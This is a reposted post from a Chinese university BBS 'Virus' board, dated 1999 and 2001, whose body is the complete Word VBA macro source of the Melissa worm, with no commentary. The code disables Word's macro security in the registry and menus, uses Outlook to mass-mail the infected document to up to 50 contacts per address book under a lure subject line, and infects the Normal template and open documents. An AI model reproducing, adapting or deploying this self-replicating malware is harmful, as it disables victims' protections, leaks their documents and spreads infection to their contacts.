荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Mic (不要变,行不行), 信区: Virus
标  题: [转载] [转寄] “美丽杀手(Melissa)”的Source        swords
发信站: 荔园晨风BBS站 (Sat Jun  2 07:18:21 2001), 转信

【 以下文字转载自 Mic 的信箱 】
【 原文由 smickey.bbs@argo.zsu.edu.cn 所发表 】
发信人: flywolf (想走的bullzeye), 信区: Virus
标  题:“美丽杀手(Melissa)”的Source
发信站: 逸仙时空 Yat-sen Channel (Mon Apr 26 15:41:11 1999), 站内信件

Private Sub Document_Open()

  On Error Resume Next

  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\O
ffice\9.0\Word\Security", "Level") <> "" Then

    CommandBars("Macro").Controls("Security...").Enabled = False

    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Of
fice\9.0\Word\Security", "Level") = 1&

  Else

    CommandBars("Tools").Controls("Macro").Enabled = False

    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
 Options.SaveNormalPrompt = (1 - 1)

  End If


  Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

  Set UngaDasOutlook = CreateObject("Outlook.Application")

  Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\O
ffice\", "Melissa?") <> "... by Kwyjibo" Then

    If UngaDasOutlook = "Outlook" Then

      DasMapiName.Logon "profile", "password"

      For y = 1 To DasMapiName.AddressLists.Count

          Set AddyBook = DasMapiName.AddressLists(y)

          x = 1

          Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

          For oo = 1 To AddyBook.AddressEntries.Count

              Peep = AddyBook.AddressEntries(x)

              BreakUmOffASlice.Recipients.Add Peep

              x = x + 1

              If x > 50 Then oo = AddyBook.AddressEntries.Count

           Next oo

           BreakUmOffASlice.Subject = "Important Message From " & Applicatio
n.UserName

           BreakUmOffASlice.Body = "Here is that document you asked for ...
don't show anyone else ;-)"

           BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

           BreakUmOffASlice.Send

           Peep = ""

      Next y

      DasMapiName.Logoff

    End If

    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Of
fice\", "Melissa?") = "... by Kwyjibo"

  End If



  Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

  Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

  NTCL = NTI1.CodeModule.CountOfLines

  ADCL = ADI1.CodeModule.CountOfLines

  BGN = 2

  If ADI1.Name <> "Melissa" Then

    If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL

    Set ToInfect = ADI1

    ADI1.Name = "Melissa"

    DoAD = True

  End If


  If NTI1.Name <> "Melissa" Then

    If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL

    Set ToInfect = NTI1

    NTI1.Name = "Melissa"

    DoNT = True

  End If



  If DoNT <> True And DoAD <> True Then GoTo CYA


  If DoNT = True Then

    Do While ADI1.CodeModule.Lines(1, 1) = ""

      ADI1.CodeModule.DeleteLines 1

    Loop

    ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

      ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

      BGN = BGN + 1

    Loop

  End If



  If DoAD = True Then

    Do While NTI1.CodeModule.Lines(1, 1) = ""

      NTI1.CodeModule.DeleteLines 1

    Loop

    ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

      ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

      BGN = BGN + 1

    Loop

  End If


  CYA:


  If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
 False) Then

    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

  ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

    ActiveDocument.Saved = True

  End If


  'WORD/Melissa written by Kwyjibo

  'Works in both Word 2000 and Word 97

  'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

  'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!


  If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plu
s triple-word-score, plus fifty points for using all my letters.  Game's ove
r.  I'm outta here."

  End Sub


--
※ 修改:.flywolf 于 Apr 26 15:41:27 修改本文.[FROM: 202.116.90.20]
※ 来源:.逸仙时空 Yat-sen Channel bbs.zsu.edu.cn.[FROM: 202.116.90.20]
--
※ 转寄:.逸仙时空 Yat-sen Channel bbs.zsu.edu.cn.[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.108]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店